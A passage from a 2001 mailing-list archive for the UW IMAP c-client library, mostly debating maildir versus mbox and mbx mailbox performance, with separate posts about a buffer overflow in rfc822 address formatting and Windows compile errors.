Sep 2001 01:24:04.0891 (UTC) FILETIME=[C9FC46B0:01C13284] X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 31 Aug 2001 09:34:59 -0700 (PDT) Mark Crispin wrote: MC> On Fri, 31 Aug 2001 17:50:40 +0200 (EET), Nerijus Baliunas wrote: MC> > Have you read http://www.courier-mta.org/mbox-vs-maildir/ ? MC> MC> Hardly an unbiased source. Maybe, but your claims at http://www.washington.edu/imap/documentation/formats.txt.html: " The Maildir format used by qmail has all of the performance disadvantages of mh noted above, with the additional problem that the files are renamed in order to change their status so you end up having to rescan the directory frequently the current names (particularly in a shared mailbox scenario). It doesn't scale, and it represents a support nightmare; it will therefore never be supported in the official distribution. Maildir support code for c-client is available from third parties; but, if you use it, it is entirely at your own risk (read: don't complain about how poorly it performs or bugs)." What does it mean "it doesn't scale, and it represents a support nightmare"? Is it an unbiased? Do you have any benchmarks? MC> > There are some benchmarks, and it seems Mark's claims about maildir MC> > slowness are not true anymore (and maybe he accepts some patch for MC> > maildir support in c-client one of these days, although I doubt it...). MC> MC> There are lies, damn lies, and benchmarks. In this case, what the benchmark MC> chooses to measure: what some MUA which was designed for maildir needs. No, it says "this benchmark takes both measurements into account": "It should be noted that some of these numbers reflect the overall system performance that may differ from the apparent performance seen by a mail client. When running the benchmark, the UW-IMAP server did not actually take much longer to open a 2,000 message folder than Courier-IMAP -- it postponed the mbox file rewrite until the folder was closed. However, this benchmark takes both measurements into account. From the user's standpoint, some of the delay in opening a large folder is postponed until the folder is closed. This results in a slightly faster response when opening a folder, but from the system's viewpoint the load's the same. This is why both measurements are important. Whether you take the load up front, or spread it around, the grand total is still the same. The decision to postpone rewriting the mbox file can result in some savings in time (mostly by consolidating multiple rewrites into one). However, there's also a down side to this approach. An IMAP server can always be killed by an abnormal system event, for example. When that happens to the UW-IMAP server, any unsaved changes to the folder will be lost." Mark, the point is that maildir may not be better than mbox, but maybe it's time to recognize (and support) it? MC> My benchmarks use what is needed for IMAP. That is the only thing that is MC> important to me. MC> MC> The simple fact is that it is impossible to do a basic IMAP operation (load MC> mailbox message metadata) without opening every file in a maildir (or MH) MC> mailbox and reading every byte. MC> MC> Not all systems are like Linux with fast file opens. On most UNIX systems, MC> particularly those with robust filesystems, open() is a very expensive call. MC> We're talking about each open() taking milliseconds. Do you have any benchmarks? What are these "robust filesystems"? MC> There is also additional disk seek time because each message is likely to be MC> on a different spot on the disk (multiple files are naturally more likely to MC> present a fragmented database over single files). I think it's time for independent benchmarks. MC> True, in mbox format you also have to read every byte of the file. But, since MC> it is one file, it is more likely to be contiguous on the disk, and there are Why should it be contiguous? If it's POP3, then probably yes, because client just downloads and deletes messages, but if it's IMAP, then a client can have messages even a year or more old. MC> no filesystem operations that need to be done. It is quite a bit faster than MC> maildir or mh. MC> MC> But mbox format has not been the preferred format for over 10 years. It is MC> the default format in UW imapd because it is the default format on UNIX. MC> MC> In the preferred mbx format (a different format than mbox), only the metadata MC> needs to be read and not message data. It is much faster than mbox format, MC> and allows shared access in ways that maildir can only fantasize about. In a Sorry, I don't know a better format for shared access than maildir. What do you mean exactly? And what does it mean "It is much faster than mbox format"? Do you have any benchmarks? MC> You can't do an index file in mh, because other mh software doesn't use it. We don't talk now about other software, we talk about c-client's mh driver. If uw-imapd could support message flags with mh driver, what's a problem with other software here (Vadim proposed X-CC-Flags header)? MC> You can't do an index file in maildir either, because maildir's entire purpose MC> is to eliminate locking. An index file would sabotage maildir's sole benefit. MC> Nor can you squeeze the index information into the filename. I'm not qualified to talk about architectural (dis)advantages of one or other format, I just want you to finally accept and maybe do some benchmarks with maildir. MC> By the way, maildir's trick of putting a limited amount of metadata into the MC> filename also is a performance issue, because most filesystems serialize MC> directory operations. You can't generalize from Linux to other UNIX MC> platforms. Nor can the filename hold all the needed metadata. As in http://www.courier-mta.org/mbox-vs-maildir/: "Documentation included with the University of Washington IMAP server (UW-IMAP) states that maildirs have many "performance disadvantages" and that the maildir format "doesn't scale." Furthermore, maildirs are supposedly vulnerable to "filesystem trashing" due to multiple "open() and stat()" calls, because "just about every filesystem in existence serializes" file creation and access. The document makes a conclusion that this results in performance degradation for "moderately sized" mailboxes of about 2,000 messages. Painting "just about" every filesystem in existence with the same brush, and assuming that every filesystem works pretty much in the same way, is very misleading. Many contemporary high performance filesystem are designed explicitly for parallel access. For example, consider the SGI XFS filesystem: The free space and inodes within each AG are managed independently and in parallel so multiple processes can allocate free space throughout the file system simultaneously." So is SGI XFS filesystem a Linux one (I know it's being ported to Linux BTW)? MC> There are three or four different maildir drivers for c-client written by MC> maildir fans since I don't provide one. I've tested them all. None of them MC> work well. All of them demonstrate the (slow) performance results that I MC> report. Most importantly, all of them have been the cause of problem reports MC> to me. MC> MC> Given that the maildir fan community can't write a working c-client maildir MC> driver with reasonable performance, there is no reason to believe that a MC> maildir skeptic such as myself would do any better. I understand that. But do you understand that all your claims about maildir slowness are without (almost) any proof? Do you have any benchmarks like in http://www.courier-mta.org/mbox-vs-maildir/ ? For example, you say "most filesystems serialize directory operations". Have you done any benchmarks? Regards, Nerijus -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Sep 1 07:34:29 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 1 Sep 2001 07:34:28 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f81EYRn25276 for ; Sat, 1 Sep 2001 07:34:27 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Sat Sep 01 07:34:27 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.6+UW01.01/8.11.6+UW01.08) with ESMTP id f81EYPP02426; Sat, 1 Sep 2001 07:34:25 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f81EXhX30600; Sat, 1 Sep 2001 07:33:44 -0700 Received: from mxu101.u.washington.edu (mxu101.u.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f81EWQ023680 for ; Sat, 1 Sep 2001 07:32:26 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by mxu101.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f81EWP711480 for ; Sat, 1 Sep 2001 07:32:26 -0700 Received: FROM red.csi.cam.ac.uk BY mxu1.u.washington.edu ; Sat Sep 01 07:32:24 2001 -0700 Received: from dpc22 (helo=localhost) by red.csi.cam.ac.uk with local-esmtp (Exim 3.22 #1) id 15dBoj-0003CS-00; Sat, 01 Sep 2001 15:32:13 +0100 Message-Id: Date: Sat, 1 Sep 2001 15:32:13 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Carter To: Nerijus Baliunas Cc: "c-client@u.washington.edu" Subject: Re[7]: MH again In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: David Carter X-X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sat, 1 Sep 2001, Nerijus Baliunas wrote: > Mark, the point is that maildir may not be better than mbox, but maybe > it's time to recognize (and support) it? Can't you use the Courier IMAP server if you want to use maildir? I don't see why Mark should have to support a mailbox format that he is clearly has grave doubts about. Maildir can be an excellent choice if all of your user agents are using POP or the subset of the IMAP protocol which corresponds to POP with access to multiple mail folders. This doesn't automatically make maildir a good choice for user agents which use more advanced features in the IMAP command set. I imagine that maildir would have a particularly hard time with user agents which can be configured to sort or thread messages. -- David Carter Email: David.Carter@ucs.cam.ac.uk University Computing Service, Phone: (01223) 334502 New Museums Site, Pembroke Street, Fax: (01223) 334679 Cambridge UK. CB2 3QG. From pinedev@shivax2.cac.washington.edu Sat Sep 1 07:51:15 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 1 Sep 2001 07:51:15 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f81EpEn09037 for ; Sat, 1 Sep 2001 07:51:14 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Sat Sep 01 07:51:10 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.6+UW01.01/8.11.6+UW01.08) with ESMTP id f81Ep8P02741; Sat, 1 Sep 2001 07:51:08 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f81EouH17814; Sat, 1 Sep 2001 07:50:57 -0700 Received: from mxu102.u.washington.edu (mxu102.u.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f81Eo9023678 for ; Sat, 1 Sep 2001 07:50:09 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by mxu102.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f81Eo9T19066 for ; Sat, 1 Sep 2001 07:50:09 -0700 Received: FROM mail.takas.lt BY mxu2.u.washington.edu ; Sat Sep 01 07:50:09 2001 -0700 Received: from nerijus.sat.lt ([212.59.26.164]) by mail.takas.lt with Microsoft SMTPSVC(5.0.2195.2966); Sat, 1 Sep 2001 16:48:16 +0200 Received: (qmail 31040 invoked from network); 1 Sep 2001 14:44:02 -0000 Received: from localhost (127.0.0.1) by localhost with SMTP; 1 Sep 2001 14:44:02 -0000 Message-Id: Date: Sat, 1 Sep 2001 16:43:56 +0200 (EET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Nerijus Baliunas To: "c-client@u.washington.edu" Subject: Re[8]: MH again In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-OriginalArrivalTime: 01 Sep 2001 14:48:17.0488 (UTC) FILETIME=[22C64500:01C132F5] X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sat, 1 Sep 2001 15:32:13 +0100 (BST) David Carter wrote: DC> On Sat, 1 Sep 2001, Nerijus Baliunas wrote: DC> DC> > Mark, the point is that maildir may not be better than mbox, but maybe DC> > it's time to recognize (and support) it? DC> DC> Can't you use the Courier IMAP server if you want to use maildir? I don't DC> see why Mark should have to support a mailbox format that he is clearly DC> has grave doubts about. I do use Courier IMAP server. But it would be nice to have support for maildirs in c-client, as c-client is used in client applications. Regards, Nerijus -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Sep 1 14:43:30 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 1 Sep 2001 14:43:29 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f81LhSn27358 for ; Sat, 1 Sep 2001 14:43:28 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Sat Sep 01 14:43:27 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.6+UW01.01/8.11.6+UW01.08) with ESMTP id f81LhPP10098; Sat, 1 Sep 2001 14:43:25 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f81LgjE30072; Sat, 1 Sep 2001 14:42:45 -0700 Received: from mxu101.u.washington.edu (mxu101.u.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f81Ldv020186 for ; Sat, 1 Sep 2001 14:39:58 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by mxu101.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f81Ldv723697 for ; Sat, 1 Sep 2001 14:39:57 -0700 Received: FROM areca.wanadoo.fr BY mxu1.u.washington.edu ; Sat Sep 01 14:39:57 2001 -0700 Received: from villosa.wanadoo.fr (193.252.19.122) by areca.wanadoo.fr; 1 Sep 2001 23:39:48 +0200 Received: from sunset (193.251.4.155) by villosa.wanadoo.fr; 1 Sep 2001 23:39:06 +0200 Received: from aurora ([192.168.17.17]) by sunset with esmtp (Exim 3.12 #1 (Debian)) id 15dITp-0000uu-00 for ; Sat, 01 Sep 2001 23:39:05 +0200 Message-Id: Date: Sat, 1 Sep 2001 23:39:12 +0200 (Romance Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re[8]: MH again In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sat, 1 Sep 2001 15:32:13 +0100 (BST) David Carter wrote: DC> Can't you use the Courier IMAP server if you want to use maildir? I don't DC> see why Mark should have to support a mailbox format that he is clearly DC> has grave doubts about. Because it would be useful in MUAs using c-client. DC> I imagine that maildir would have a particularly hard time DC> with user agents which can be configured to sort or thread messages. Could you please elaborate on this? I'm having _very_ hard time implementing efficient sorting/threading right now and I would like very much to know how can it be optimized (on the client or server side). Thank you, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Sep 3 03:18:28 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Sep 2001 03:18:28 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f839lRn28262 for ; Mon, 3 Sep 2001 02:47:57 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon Sep 03 02:40:34 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.6+UW01.01/8.11.6+UW01.08) with ESMTP id f839eWP16462; Mon, 3 Sep 2001 02:40:32 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f839eOp26616; Mon, 3 Sep 2001 02:40:24 -0700 Received: from mxu103.u.washington.edu (mxu103.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f839aL028532 for ; Mon, 3 Sep 2001 02:36:21 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by mxu103.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f839aKn00746 for ; Mon, 3 Sep 2001 02:36:21 -0700 Received: FROM orange.csi.cam.ac.uk BY mxu3.u.washington.edu ; Mon Sep 03 02:36:20 2001 -0700 Received: from dpc22 (helo=localhost) by orange.csi.cam.ac.uk with local-esmtp (Exim 3.22 #1) id 15dq5p-0004pA-00; Mon, 03 Sep 2001 10:32:33 +0100 Message-Id: Date: Mon, 3 Sep 2001 10:32:33 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Carter To: Vadim Zeitlin Cc: Subject: Re[8]: MH again In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: David Carter X-X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sat, 1 Sep 2001, Vadim Zeitlin wrote: > DC> I imagine that maildir would have a particularly hard time > DC> with user agents which can be configured to sort or thread messages. > > Could you please elaborate on this? I'm having _very_ hard time > implementing efficient sorting/threading right now and I would like > very much to know how can it be optimized (on the client or server > side). Well, a quick (and not very scientific) experiment indicates that the SORT and THREAD extensions in the UW server are an order of magnitude faster than the same extensions in the Courier server on my workstation. This appears to be true regardless of whether I use MBX or Unix mail folders. At the mail folder access level, this is comparing n lots of "lseek() + read()" against n lots of "open() + read() + close()", where n is the number of messages in the folder. I was using rather large values of n, around twenty thousand random small messages. In retrospect, this might have been rather unfair as ext2 doesn't cope well with large directories. However, its easy enough to set up this sort of benchmark for yourself. -- David Carter Email: David.Carter@ucs.cam.ac.uk University Computing Service, Phone: (01223) 334502 New Museums Site, Pembroke Street, Fax: (01223) 334679 Cambridge UK. CB2 3QG. From pinedev@shivax2.cac.washington.edu Tue Sep 4 06:32:39 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 4 Sep 2001 06:32:39 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f84DWcn06294 for ; Tue, 4 Sep 2001 06:32:38 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue Sep 04 06:32:37 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.6+UW01.01/8.11.6+UW01.08) with ESMTP id f84DWZP16761; Tue, 4 Sep 2001 06:32:35 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f84DWTH34984; Tue, 4 Sep 2001 06:32:30 -0700 Received: from mxu103.u.washington.edu (mxu103.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f84DTW036518 for ; Tue, 4 Sep 2001 06:29:33 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by mxu103.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f84DTWn05304 for ; Tue, 4 Sep 2001 06:29:32 -0700 Received: FROM shiva.jussieu.fr BY mxu3.u.washington.edu ; Tue Sep 04 06:29:31 2001 -0700 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.11.3/jtpda-5.3.3) with ESMTP id f84DTTO02964 for ; Tue, 4 Sep 2001 15:29:29 +0200 (CEST) Received: from seth.lpthe.jussieu.fr (IDENT:zeitlin@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id f84DTTS29500 for ; Tue, 4 Sep 2001 15:29:29 +0200 (MEST) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id PAA15820 ; Tue, 4 Sep 2001 15:29:28 +0200 Message-Id: <200109041329.PAA15820@seth.lpthe.jussieu.fr> Date: Tue, 4 Sep 2001 15:29:28 +0200 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client Subject: buffer size checking in rfc822_[write_]address? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello Mark, are there any plans to add checks for the provided buffer size (i.e. an additional size_t argument) for these 2 functions? I've just seen my program crash and burn because I got a message sent to a hundred or so people which overflowed a 4Kb buffer I was using for "To" value so far. Of course, there was // FIXME: there is no way to get the address length from c-client, how to // prevent it from overwriting our buffer?? comment in the code, but 4Kb should be enough for any address, right? Well, it turned out to be wrong, as usual, so now I'm using 8Kb. But IMNSHO this is just as wrong - and what if I get a message sent to 200 people tomorrow? Thank you, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Sep 4 11:12:19 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 4 Sep 2001 11:12:18 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f84ICHn17169 for ; Tue, 4 Sep 2001 11:12:17 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue Sep 04 11:12:16 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.6+UW01.01/8.11.6+UW01.08) with ESMTP id f84ICDB04470; Tue, 4 Sep 2001 11:12:13 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f84IBVX09946; Tue, 4 Sep 2001 11:11:31 -0700 Received: from mxu102.u.washington.edu (mxu102.u.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f84I9G077332 for ; Tue, 4 Sep 2001 11:09:16 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by mxu102.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f84I9GT05572 for ; Tue, 4 Sep 2001 11:09:16 -0700 Received: FROM fep21-svc.tin.it BY mxu2.u.washington.edu ; Tue Sep 04 11:09:15 2001 -0700 Received: from host ([62.211.59.144]) by fep21-svc.tin.it (InterMail vM.4.01.03.13 201-229-121-113) with SMTP id <20010904180909.MSCO9646.fep21-svc.tin.it@host> for ; Tue, 4 Sep 2001 20:09:09 +0200 Message-Id: <000f01c1356c$9934d0c0$0500000a@lan> Date: Tue, 4 Sep 2001 20:08:27 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: To: Subject: Compiling Problem MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_000C_01C1357D.5C514A60" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_000C_01C1357D.5C514A60 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Dear developer, i have visual c++ v5.0 and i installed windows platform sdk. My operative system is win98 second edition. when i insert at console the command to compiled : nmake -f makefile.nt a last time i have this error. Result on the console is: -------------------------------------------------------------------------= ------------------------------------------ Microsoft (R) Program Maintenance Utility Version 1.62.7022 Copyright -........... cd c-client nmake /nologo /f makefile.nt cl -c /MT /W3 /OX /DWIN32 /D_WIN32_WINNT=3D0x400 - nologo /I.. mail.c NMAKE : fatal error U1045: spawn failed : Invalid argument Stop. NMAKE : fatal error U1077: 'C:\PROGRAMMI\DEVSTUDIO\VC\BIN\NMAKE.exe : = return code '0x2' Stop. -------------------------------------------------------------------------= -------------------------------------------- In windows apper a dialog box with label: File DLL MSPDB50.DLL non trovato ------=_NextPart_000_000C_01C1357D.5C514A60 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Dear developer,
    i have visual c++ v5.0 and i installed = windows=20 platform sdk.
    My operative system is win98 second=20 edition.
    when i insert at console the command to = compiled=20 :
     
    nmake -f makefile.nt
     
    a last time i have this error. Result = on the=20 console is:
    ----------------------------------------------------------------= ---------------------------------------------------
    Microsoft (R) Program Maintenance = Utility Version=20 1.62.7022
    Copyright -...........
     
       cd c-client
    nmake /nologo /f = makefile.nt
    cl -c /MT /W3 /OX /DWIN32 = /D_WIN32_WINNT=3D0x400 -=20 nologo /I.. mail.c
     
    NMAKE : fatal error U1045: spawn failed = : Invalid=20 argument
     
    Stop.
    NMAKE : fatal error U1077:=20 'C:\PROGRAMMI\DEVSTUDIO\VC\BIN\NMAKE.exe : return code = '0x2'
    Stop.
    ----------------------------------------------------------------= -----------------------------------------------------
     
    In windows apper a dialog box with = label:
     
      File DLL MSPDB50.DLL non=20 trovato
     
    ------=_NextPart_000_000C_01C1357D.5C514A60-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Sep 6 03:54:43 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 6 Sep 2001 03:54:43 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f86AOii25729 for ; Thu, 6 Sep 2001 03:25:03 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Thu Sep 06 03:24:11 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f86AO9A09250; Thu, 6 Sep 2001 03:24:09 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f86ANYp17240; Thu, 6 Sep 2001 03:23:34 -0700 Received: from mxu103.u.washington.edu (mxu103.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f86AHb072242 for ; Thu, 6 Sep 2001 03:17:37 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by mxu103.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f86AHav11429 for ; Thu, 6 Sep 2001 03:17:36 -0700 Received: FROM fep09-svc.tin.it BY mxu3.u.washington.edu ; Thu Sep 06 03:17:35 2001 -0700 Received: from tin ([62.211.59.144]) by fep09-svc.tin.it (InterMail vM.4.01.03.13 201-229-121-113) with SMTP id <20010906101733.XGWM16555.fep09-svc.tin.it@tin> for ; Thu, 6 Sep 2001 12:17:33 +0200 Message-Id: <000e01c136bd$0d2c2400$0500000a@tin> Date: Thu, 6 Sep 2001 12:16:51 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Papadia Giovanni" To: Subject: Compiling MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_000B_01C136CD.CF560040" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Messaggio in formato MIME composto da piy parti. ------=_NextPart_000_000B_01C136CD.CF560040 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Dear developer, i have installed Visual C++ 5.0 and Platform SDK (August 2001). Now i have problem. The cclient.lib is compiled. And than when is compiled the mtest.c file i have this error. C:\Programmi\Microsoft SDK\Lib\.\wsock32.lib : fatal error LNK1106: = invalid file or disk full: cannot seek to 0x3b14barf5. What's the problem? My autoexec.bat file is: mode con codepage prepare=3D((850) C:\WINDOWS\COMMAND\ega.cpi) mode con codepage select=3D850 keyb it,,C:\WINDOWS\COMMAND\keyboard.sys PATH %PATH;"C:\Programmi\Devstudio\vc\bin\"; SET Basemake=3DC:\Programmi\Microsoft SDK\Include\BKOffice.Mak SET Bkoffice=3DC:\Programmi\Microsoft SDK\. SET INCLUDE=3DC:\Programmi\Microsoft = SDK\Include\.;%INCLUDE%;C:\Programmi\DevStudio\VC\include; SET INETSDK=3DC:\Programmi\Microsoft SDK\. SET LIB=3DC:\Programmi\Microsoft = SDK\Lib\.;%LIB%;C:\Programmi\DevStudio\VC\lib; SET DLL=3DC:\Programmi\DevStudio\SharedIDE\bin; SET SHAREDIDE=3DC:\Programmi\DevStudio\SharedIDE\bin; SET MSSdk=3DC:\Programmi\Microsoft SDK\. SET Mstools=3DC:\Programmi\Microsoft SDK\. SET PATH=3D%PATH%;"C:\Programmi\Microsoft = SDK\Bin\.";"C:\Programmi\Microsoft SDK\Bin\win95." Thanks for help me? Bye Bye , Papadia Giovanni ------=_NextPart_000_000B_01C136CD.CF560040 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Dear developer,
    i have installed Visual C++ 5.0 and = Platform SDK=20 (August 2001).
     
    Now i have problem.
     
    The cclient.lib is = compiled.
    And than when is compiled the mtest.c = file i have=20 this error.
     
    C:\Programmi\Microsoft = SDK\Lib\.\wsock32.lib :=20 fatal error LNK1106: invalid file or disk full: cannot seek to=20 0x3b14barf5.
     
    What's the problem?
